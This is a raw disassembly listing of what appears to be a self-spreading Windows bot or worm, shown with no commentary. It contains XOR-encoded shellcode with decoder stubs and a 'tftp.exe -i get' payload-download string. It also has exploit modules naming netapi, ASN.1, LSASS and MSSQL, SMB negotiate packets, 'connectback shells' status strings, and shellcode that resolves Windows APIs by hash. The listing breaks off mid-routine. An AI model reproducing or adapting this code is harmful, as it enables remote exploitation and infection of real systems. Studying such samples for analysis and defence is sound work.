XREF: .nsp0:00434430o align 4 aBologna db 'Bologna',0 ; DATA XREF: .nsp0:0043442Co aBollinger db 'Bollinger',0 ; DATA XREF: .nsp0:00434428o align 4 aBolick db 'Bolick',0 ; DATA XREF: .nsp0:00434424o align 4 aBolger db 'Bolger',0 ; DATA XREF: .nsp0:00434420o align 4 aBlyth db 'Blyth',0 ; DATA XREF: .nsp0:0043441Co align 4 aBloxham db 'Bloxham',0 ; DATA XREF: .nsp0:00434418o aBloemhof db 'Bloemhof',0 ; DATA XREF: .nsp0:00434414o align 4 aBloembergen db 'Bloembergen',0 ; DATA XREF: .nsp0:00434410o aBloch db 'Bloch',0 ; DATA XREF: .nsp0:0043440Co align 4 aBlizard db 'Blizard',0 ; DATA XREF: .nsp0:00434408o aBliss db 'Bliss',0 ; DATA XREF: .nsp0:00434404o align 4 aBlanke db 'Blanke',0 ; DATA XREF: .nsp0:00434400o align 4 aBlakemore db 'Blakemore',0 ; DATA XREF: .nsp0:004343FCo align 10h aBlagg db 'Blagg',0 ; DATA XREF: .nsp0:004343F8o align 4 aBlackwell db 'Blackwell',0 ; DATA XREF: .nsp0:004343F4o align 4 aBlackbourn db 'Blackbourn',0 ; DATA XREF: .nsp0:004343F0o align 10h aBisho db 'Bisho',0 ; DATA XREF: .nsp0:004343ECo align 4 aBisema db 'Bisema',0 ; DATA XREF: .nsp0:004343E8o align 10h aBir db 'Bir',0 ; DATA XREF: .nsp0:004343E4o aBinion db 'Binion',0 ; DATA XREF: .nsp0:004343E0o align 4 aBickel db 'Bickel',0 ; DATA XREF: .nsp0:004343DCo align 4 aBiagioli db 'Biagioli',0 ; DATA XREF: .nsp0:004343D8o align 10h aBeynart db 'Beynart',0 ; DATA XREF: .nsp0:004343D4o aBetti db 'Betti',0 ; DATA XREF: .nsp0:004343D0o align 10h aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: .nsp0:004343CCo align 10h aBernston db 'Bernston',0 ; DATA XREF: .nsp0:004343C8o align 4 aBernassola db 'Bernassola',0 ; DATA XREF: .nsp0:004343C4o align 4 aBernardo db 'Bernardo',0 ; DATA XREF: .nsp0:004343C0o align 4 aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: .nsp0:004343BCo align 4 aBergson db 'Bergson',0 ; DATA XREF: .nsp0:004343B8o aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: .nsp0:004343B4o align 4 aBelloc db 'Belloc',0 ; DATA XREF: .nsp0:004343B0o align 4 aBellini db 'Bellini',0 ; DATA XREF: .nsp0:004343ACo aBellhouse db 'Bellhouse',0 ; DATA XREF: .nsp0:004343A8o align 4 aBellavance db 'Bellavance',0 ; DATA XREF: .nsp0:004343A4o align 4 aBelinCollart db 'Belin-Collart',0 ; DATA XREF: .nsp0:004343A0o align 4 aBelfer db 'Belfer',0 ; DATA XREF: .nsp0:0043439Co align 4 aBelaoussof db 'Belaoussof',0 ; DATA XREF: .nsp0:00434398o align 4 aBelanger db 'Belanger',0 ; DATA XREF: .nsp0:00434394o align 4 aBehenna db 'Behenna',0 ; DATA XREF: .nsp0:00434390o aBedford db 'Bedford',0 ; DATA XREF: .nsp0:0043438Co aBeder db 'Beder',0 ; DATA XREF: .nsp0:00434388o align 4 aBeckman db 'Beckman',0 ; DATA XREF: .nsp0:00434384o aBean db 'Bean',0 ; DATA XREF: .nsp0:00434380o align 4 aBeal db 'Beal',0 ; DATA XREF: .nsp0:0043437Co align 4 aBeacon db 'Beacon',0 ; DATA XREF: .nsp0:00434378o align 4 aBayo db 'Bayo',0 ; DATA XREF: .nsp0:00434374o align 4 aBayles db 'Bayles',0 ; DATA XREF: .nsp0:00434370o align 4 aBaumiller db 'Baumiller',0 ; DATA XREF: .nsp0:0043436Co align 4 aBatchelder db 'Batchelder',0 ; DATA XREF: .nsp0:00434368o align 4 aBashevis db 'Bashevis',0 ; DATA XREF: .nsp0:00434364o align 10h aBasavappa db 'Basavappa',0 ; DATA XREF: .nsp0:00434360o align 4 aBartoo db 'Bartoo',0 ; DATA XREF: .nsp0:0043435Co align 4 aBartolome db 'Bartolome',0 ; DATA XREF: .nsp0:00434358o align 10h aBartholomew db 'Bartholomew',0 ; DATA XREF: .nsp0:00434354o aBarry db 'Barry',0 ; DATA XREF: .nsp0:00434350o align 4 aBarriola db 'Barriola',0 ; DATA XREF: .nsp0:0043434Co align 10h aBarnett db 'Barnett',0 ; DATA XREF: .nsp0:00434348o aBarneson db 'Barneson',0 ; DATA XREF: .nsp0:00434344o align 4 aBarbetti db 'Barbetti',0 ; DATA XREF: .nsp0:00434340o align 10h aBarberi db 'Barberi',0 ; DATA XREF: .nsp0:0043433Co aBaranowska db 'Baranowska',0 ; DATA XREF: .nsp0:00434338o align 4 aBaranczak db 'Baranczak',0 ; DATA XREF: .nsp0:00434334o align 10h aBarajas db 'Barajas',0 ; DATA XREF: .nsp0:00434330o aBarabesi db 'Barabesi',0 ; DATA XREF: .nsp0:0043432Co align 4 aBanta db 'Banta',0 ; DATA XREF: .nsp0:00434328o align 4 aBaltz db 'Baltz',0 ; DATA XREF: .nsp0:00434324o align 4 aBallew db 'Ballew',0 ; DATA XREF: .nsp0:00434320o align 4 aBallatori db 'Ballatori',0 ; DATA XREF: .nsp0:0043431Co align 4 aBaleja db 'Baleja',0 ; DATA XREF: .nsp0:00434318o align 10h aBakanowsky db 'Bakanowsky',0 ; DATA XREF: .nsp0:00434314o align 4 aBailar db 'Bailar',0 ; DATA XREF: .nsp0:00434310o align 4 aBagnold db 'Bagnold',0 ; DATA XREF: .nsp0:0043430Co aBaglivo db 'Baglivo',0 ; DATA XREF: .nsp0:00434308o aBady db 'Bady',0 ; DATA XREF: .nsp0:00434304o align 4 aBackus db 'Backus',0 ; DATA XREF: .nsp0:00434300o align 4 aBachmuth db 'Bachmuth',0 ; DATA XREF: .nsp0:004342FCo align 10h aAzima db 'Azima',0 ; DATA XREF: .nsp0:004342F8o align 4 aAyling db 'Ayling',0 ; DATA XREF: .nsp0:004342F4o align 10h aAykroyd db 'Aykroyd',0 ; DATA XREF: .nsp0:004342F0o aAyiemba db 'Ayiemba',0 ; DATA XREF: .nsp0:004342ECo aAxworthy db 'Axworthy',0 ; DATA XREF: .nsp0:004342E8o align 4 aAxelrod db 'Axelrod',0 ; DATA XREF: .nsp0:004342E4o aAurelius db 'Aurelius',0 ; DATA XREF: .nsp0:004342E0o align 10h aAugustus db 'Augustus',0 ; DATA XREF: .nsp0:004342DCo align 4 aAtkins db 'Atkins',0 ; DATA XREF: .nsp0:004342D8o align 4 aArky db 'Arky',0 ; DATA XREF: .nsp0:004342D4o align 4 aArjas db 'Arjas',0 ; DATA XREF: .nsp0:004342D0o align 4 aAristotle db 'Aristotle',0 ; DATA XREF: .nsp0:004342CCo align 10h aArellano db 'Arellano',0 ; DATA XREF: .nsp0:004342C8o align 4 aArduini db 'Arduini',0 ; DATA XREF: .nsp0:004342C4o aArbia db 'Arbia',0 ; DATA XREF: .nsp0:004342C0o align 4 aAntos db 'Antos',0 ; DATA XREF: .nsp0:004342BCo align 4 aAnthony db 'Anthony',0 ; DATA XREF: .nsp0:004342B8o aAnsley db 'Ansley',0 ; DATA XREF: .nsp0:004342B4o align 4 aAnfinrud db 'Anfinrud',0 ; DATA XREF: .nsp0:004342B0o align 10h aAndron db 'Andron',0 ; DATA XREF: .nsp0:004342ACo align 4 aAndrelus db 'Andrelus',0 ; DATA XREF: .nsp0:004342A8o align 4 aAndo db 'Ando',0 ; DATA XREF: .nsp0:004342A4o align 4 aAndel db 'Andel',0 ; DATA XREF: .nsp0:004342A0o align 4 aAnand db 'Anand',0 ; DATA XREF: .nsp0:0043429Co align 4 aAmsden db 'Amsden',0 ; DATA XREF: .nsp0:00434298o align 4 aAmeer db 'Ameer',0 ; DATA XREF: .nsp0:00434294o align 4 aAmatangelo db 'Amatangelo',0 ; DATA XREF: .nsp0:00434290o align 4 aAmaral db 'Amaral',0 ; DATA XREF: .nsp0:0043428Co align 10h aAltenhofen db 'Altenhofen',0 ; DATA XREF: .nsp0:00434288o align 4 aAltenberger db 'Altenberger',0 ; DATA XREF: .nsp0:00434284o aAltavilla db 'Altavilla',0 ; DATA XREF: .nsp0:00434280o align 4 aAlongi db 'Alongi',0 ; DATA XREF: .nsp0:0043427Co align 4 aAllison_0 db 'Allison',0 ; DATA XREF: .nsp0:00434278o aAleks db 'Aleks',0 ; DATA XREF: .nsp0:00434274o align 4 aAlda db 'Alda',0 ; DATA XREF: .nsp0:00434270o align 4 aAlcorn db 'Alcorn',0 ; DATA XREF: .nsp0:0043426Co align 4 aAlavi db 'Alavi',0 ; DATA XREF: .nsp0:00434268o align 4 aAhlers db 'Ahlers',0 ; DATA XREF: .nsp0:00434264o align 4 aAdorno db 'Adorno',0 ; DATA XREF: .nsp0:00434260o align 4 aAdibe db 'Adibe',0 ; DATA XREF: .nsp0:0043425Co align 4 aAdelstein db 'Adelstein',0 ; DATA XREF: .nsp0:00434258o align 4 aAddison db 'Addison',0 ; DATA XREF: .nsp0:off_434254o aAdams db 'Adams',0 ; DATA XREF: .nsp0:00434250o align 4 aAckerman db 'Ackerman',0 ; DATA XREF: .nsp0:0043424Co align 4 aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: .nsp0:off_434248o align 10h aPc_0 db 'PC',0 ; DATA XREF: .nsp0:0040AD49o align 4 aS_3 db '%s|',0 ; DATA XREF: .nsp0:0040ADF4o aS_4 db '[%s]|',0 ; DATA XREF: .nsp0:0040AEFEo align 10h a??? db '???',0 ; DATA XREF: .nsp0:loc_40AEF5o ; sub_41B2E4:loc_41B3A7o a2k3 db '2K3',0 ; DATA XREF: .nsp0:0040AEEEo a2k db '2K',0 ; DATA XREF: .nsp0:0040AED0o ; sub_41B2E4+98o align 4 aMe_0 db 'ME',0 ; DATA XREF: .nsp0:0040AEB7o ; sub_41B2E4+7Eo align 10h a98 db '98',0 ; DATA XREF: .nsp0:0040AEA7o ; sub_41B2E4+6Co align 4 aNt_0 db 'NT',0 ; DATA XREF: .nsp0:0040AE97o ; sub_41B2E4+5Ao align 4 a95 db '95',0 ; DATA XREF: .nsp0:0040AE89o ; sub_41B2E4+46o align 4 aD_2 db '[%d]',0 ; DATA XREF: sub_40AF44+1Bo align 4 jmp short loc_437ED8 ; --------------------------------------------------------------------------- loc_437ED6: ; CODE XREF: .nsp0:loc_437ED8p jmp short loc_437EDD ; --------------------------------------------------------------------------- loc_437ED8: ; CODE XREF: .nsp0:00437ED4j call loc_437ED6 loc_437EDD: ; CODE XREF: .nsp0:loc_437ED6j pop ebx xor ecx, ecx mov cx, 0FFFFh loc_437EE4: ; CODE XREF: .nsp0:00437EE9j xor byte ptr [ebx+0Eh], 0FFh inc ebx loop loc_437EE4 add bl, ch add ch, bl add eax, 0FFFFF9E8h call fword ptr [ebx+31h] leave mov cl, 0FFh loc_437EFA: ; CODE XREF: .nsp0:00437EFFj xor byte ptr [ebx+0Ch], 0FFh inc ebx loop loc_437EFA ; --------------------------------------------------------------------------- db 3 dup(0) dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dd 12h aTftp_exeIGet db 'tftp.exe -i get ',0 ; --------------------------------------------------------------------------- push 0 call sub_437F9C jnz short loc_437F88 retn ; --------------------------------------------------------------------------- loc_437F88: ; CODE XREF: .nsp0:00437F85j ; .nsp0:00437F95j call loc_437F8E ; --------------------------------------------------------------------------- align 2 loc_437F8E: ; CODE XREF: .nsp0:loc_437F88j push 0 call sub_437F9C jz loc_437F88 retn ; =============== S U B R O U T I N E ======================================= sub_437F9C proc near ; CODE XREF: .nsp0:00437F80p ; .nsp0:00437F90p pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi add esp, 54h test eax, eax retn sub_437F9C endp ; --------------------------------------------------------------------------- align 4 dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40B29C+51o align 4 aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B29C+35o align 10h aSym db 'sym',0 ; DATA XREF: sub_40C034+164o dd 0 db 2 dup(0) aSymantec db 'Symantec',0 ; DATA XREF: sub_40B6EF+30o ; .nsp0:0040DA49o align 4 dd 5 dup(0) dword_438048 dd 0B97h ; .nsp0:00403897o ... off_43804C dd offset sub_40EB90 ; DATA XREF: sub_40C034+1E6r dword_438050 dd 0 ; .nsp0:0040D3ABw ... dword_438054 dd 1 dword_438058 dd 1 dword_43805C dd 0 aNet1 db 'net1',0 align 4 dd 654E0000h, 69706174h, 393331h, 5 dup(0) dd 8Bh, 40E13Eh, 0 dd 2 dup(1), 0 dd 2D74656Eh, 31h, 654E0000h, 69706174h, 353434h, 5 dup(0) dd 1BDh, 40E13Eh, 0 dd 2 dup(1), 0 aNet2 db 'net2',0 align 4 dd 654E0000h, 69706174h, 393331h, 5 dup(0) dd 8Bh, 40E62Bh, 0 dd 2 dup(1), 0 dd 2D74656Eh, 32h, 654E0000h, 69706174h, 353434h, 5 dup(0) dd 1BDh, 40E62Bh, 0 dd 2 dup(1), 0 aNet3 db 'net3',0 align 4 dd 654E0000h, 69706174h, 393331h, 5 dup(0) dd 8Bh, 40EA50h, 0 dd 2 dup(1), 0 dd 2D74656Eh, 33h, 654E0000h, 69706174h, 353434h, 5 dup(0) dd 1BDh, 40EA50h, 0 dd 2 dup(1), 0 aMass_0 db 'mass',0 align 4 dd 616C0000h, 3331646Eh, 39h, 5 dup(0) dd 8Bh, 40D7AFh, 0 dd 2 dup(1), 0 aMssql db 'mssql',0 align 4 dd 736D0000h, 6C7173h, 6 dup(0) dd 599h, 40D825h, 0 dd 2 dup(1), 0 aAsn1http db 'asn1http',0 align 2 aAsn_1Http db 'ASN.1-HTTP',0 align 4 dd 4 dup(0) dd 50h, 40D1E5h, 0 dd 2 dup(1), 0 aAsn1smb db 'asn1smb',0 dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0) dd 1BDh, 40D1E5h, 0 dd 2 dup(1), 0 aMsass db 'msass',0 align 4 dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0) dd 8Bh, 40D1E5h, 0 dd 2 dup(1), 2 dup(0) dd 10100h, 0Eh dup(0) aMssql_0 db 'mssql',0 align 4 db 2 dup(0) byte_43836A db 1 ; DATA XREF: .nsp0:loc_4037E7r ; .nsp0:004037F1o db 73h dd 6D79h, 0 dd 100h, 3 dup(0) ; --------------------------------------------------------------------------- jmp short loc_438396 ; =============== S U B R O U T I N E ======================================= sub_438386 proc near ; CODE XREF: sub_438386:loc_438396p pop edx dec edx xor ecx, ecx mov cx, 166h loc_43838E: ; CODE XREF: sub_438386+Cj xor byte ptr [edx+ecx], 99h loop loc_43838E jmp short loc_43839B ; --------------------------------------------------------------------------- loc_438396: ; CODE XREF: .nsp0:00438384j call sub_438386 loc_43839B: ; CODE XREF: sub_438386+Ej jo short near ptr dword_438324+12h cwde cdq cdq retn sub_438386 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 21h, 95h, 69h dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h dd 0FAF899F7h, 0EDE9FCFAh, 99h aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_40B562+85o align 4 dword_438518 dd 25370320h, 203A0373h, 2C6425hunk_438524 db 2Dh ; - ; DATA XREF: sub_40B562+11o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aExploitStatist db 'Exploit Statistics:',0 unk_438544 db 2Dh ; - ; DATA XREF: sub_40B630+37o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h db 54h ; T db 72h, 61h, 6Eh db 73h ; s db 66h, 65h, 72h db 20h db 53h, 74h, 61h db 74h ; t db 69h, 73h, 74h db 69h ; i db 63h, 73h, 3Ah db 20h db 2, 54h, 46h db 54h ; T db 50h, 2, 3Ah db 20h db 25h, 64h, 2Ch db 20h db 2, 46h, 54h db 50h ; P db 2, 3Ah, 20h aDTotalDInS_ db '%d, Total %d in %s.',0 unk_43858C db 2Dh ; - ; DATA XREF: sub_40B69B+21o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aDConnectbackSh db '%d connectback shells in %s.',0 align 4 aScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_40B6EF+7Eo dword_4385C8 dd 25370320h, 28200373h, 73253403h, 2C2903hdword_4385D8 dd 234032Dh, 6E616373h, 202D0302h, 6C707845h, 2074696Fh ; DATA XREF: sub_40B6EF+14o dd 7473694Ch, 3Ah unk_4385F4 db 2Dh ; - ; DATA XREF: .nsp0:0040B923o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFinishedExploi db '- finished exploiting %s (%d attempts)',0 unk_438628 db 2Dh ; - ; DATA XREF: .nsp0:0040B835o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 db 2Dh, 20h, 74h db 72h ; r db 79h, 69h, 6Eh db 67h ; g db 20h, 2, 25h db 73h ; s db 2, 20h, 6Fh aNSPortD___ db 'n %s (port %d)...',0 align 4 unk_438658 db 2Dh ; - ; DATA XREF: sub_40B966+42o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanNotActive_ db 'Scan not active.',0 align 4 unk_438678 db 2Dh ; - ; DATA XREF: sub_40B966+2Co db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aCurrentIpS_ db 'Current IP: %s.',0 unk_438694 db 2Dh ; - ; DATA XREF: sub_40B9DD+4B7o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_31 db ' Failed to start server, error: <%d>.',0 align 4 unk_4386C8 db 2Dh ; - ; DATA XREF: sub_40B9DD+38Fo db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aFailedToSta_32 db '- Failed to start server, error: <%d>.',0 unk_438700 db 2Dh ; - ; DATA XREF: sub_40B9DD+321o db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aServerStarte_2 db '- Server started on Port: %d.',0 align 10h unk_438730 db 2Dh ; - ; DATA XREF: sub_40B9DD+26Co db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aFailedToSta_33 db 'Failed to start server, error: <%d>.',0 align 4 unk_438764 db 2Dh ; - ; DATA XREF: sub_40B9DD+1FEo db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aServerStarte_3 db 'Server started on Port: %d, File: %s.',0 align 4 unk_438798 db 2Dh ; - ; DATA XREF: sub_40B9DD+148o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_34 db ' Failed to start server, error: <%d>.',0 align 4 unk_4387CC db 2Dh ; - ; DATA XREF: sub_40C034+EBo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSPortDIsOpen db 'IP: %s, Port %d is open.',0 align 4 unk_4387F4 db 2Dh ; - ; DATA XREF: sub_40C034+93o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_43882C db 2Dh ; - ; DATA XREF: .nsp0:0040C416o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedAtSDAf db 'Finished at %s:%d after %d minute(s) of scanning.',0 align 4 unk_43886C db 2Dh ; - ; DATA XREF: .nsp0:0040C3BBo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0 unk_4388A4 db 2Dh ; - ; DATA XREF: .nsp0:0040C34Bo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_4388D8 db 2Dh ; - ; DATA XREF: .nsp0:0040C2CFo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToInitia db 'Failed to initialize critical section.',0 align 4 unk_43890C db 2Dh ; - ; DATA XREF: sub_40C4A7+92o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSPortDIsOp_0 db 'IP: %s Port: %d is open.',0 align 4 unk_438934 db 2Dh ; - ; DATA XREF: sub_40C574+41o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0 align 4 unk_43895C db 2Dh ; - ; DATA XREF: sub_40C665+D1o db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedScanni db 'Finished scanning IP: %s.',0 align 4 unk_438988 db 2Dh ; - ; DATA XREF: sub_40C665+41o db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0 align 4 aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_40C9E6+B2o align 10h dword_4389C0 dd 10FF8h, 0 dword_4389C8 dd 10FF8h dword_4389CC dd 7FFDF020h, 0 dword_4389D4 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_438A5C dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_438A8C dd 0 dd 800000D4h, 0 unk_438A98 db 81h ; ; DATA XREF: sub_40CEEA+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 dd 0 byte_438AE4 db 41h ; DATA XREF: sub_40CF88+107r aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 4 ; =============== S U B R O U T I N E ======================================= sub_438B28 proc near ; DATA XREF: .nsp0:0040D267o push ebx push esi push edi sub sp, 80h mov esi, esp call sub_438C24 push dword ptr [esi] push 63D61209h call sub_438C3A mov [esi+8], eax call sub_438BED push dword ptr [esi+4] push 0CA2BD06Bh call sub_438C3A mov [esi+0Ch], eax call sub_438B9F push dword ptr [esi+4] push 4C0297FAh call sub_438C3A xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_438B28 endp ; =============== S U B R O U T I N E ======================================= sub_438B9F proc near ; CODE XREF: sub_438B28+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_438BC8 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_438B9F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_438BC8 proc near ; CODE XREF: sub_438B9F+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_438BD7: ; CODE XREF: sub_438BC8+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_438BE4 inc ebx jmp short loc_438BD7 ; --------------------------------------------------------------------------- loc_438BE4: ; CODE XREF: sub_438BC8+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_438BC8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_438BED proc near ; CODE XREF: sub_438B28+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_438C05: ; CODE XREF: sub_438BED+1Ej cmp [ecx], ebx jz short loc_438C0D mov ecx, [ecx] jmp short loc_438C05 ; --------------------------------------------------------------------------- loc_438C0D: ; CODE XREF: sub_438BED+1Aj mov edx, edi loc_438C0F: ; CODE XREF: sub_438BED+2Aj cmp [edx+4], ebx jz short loc_438C19 mov edx, [edx+4] jmp short loc_438C0F ; --------------------------------------------------------------------------- loc_438C19: ; CODE XREF: sub_438BED+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_438BED endp ; =============== S U B R O U T I N E ======================================= sub_438C24 proc near ; CODE XREF: sub_438B28+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_438C24 endp ; =============== S U B R O U T I N E ======================================= sub_438C3A proc near ; CODE XREF: sub_438B28+16p ; sub_438B28+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_438C50: ; CODE XREF: sub_438C3A+33j jecxz short loc_438C8A dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_438C5D: ; CODE XREF: sub_438C3A+2Dj lodsb cmp al, ah jz short loc_438C69 ror edi, 0Dh add edi, eax jmp short loc_438C5D ; --------------------------------------------------------------------------- loc_438C69: ; CODE XREF: sub_438C3A+26j cmp edi, [esp+20h+arg_0] jnz short loc_438C50 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_438C8A: ; CODE XREF: sub_438C3A:loc_438C50j ; sub_438C3A:loc_438C8Aj jmp short loc_438C8A sub_438C3A endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_438C90 proc near ; DATA XREF: .nsp0:0040D215o arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_438CE2 mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_438CAD: ; CODE XREF: sub_438C90+38j jecxz short loc_438CDD dec ecx mov esi, [ebx+ecx*4] add esi, ebp 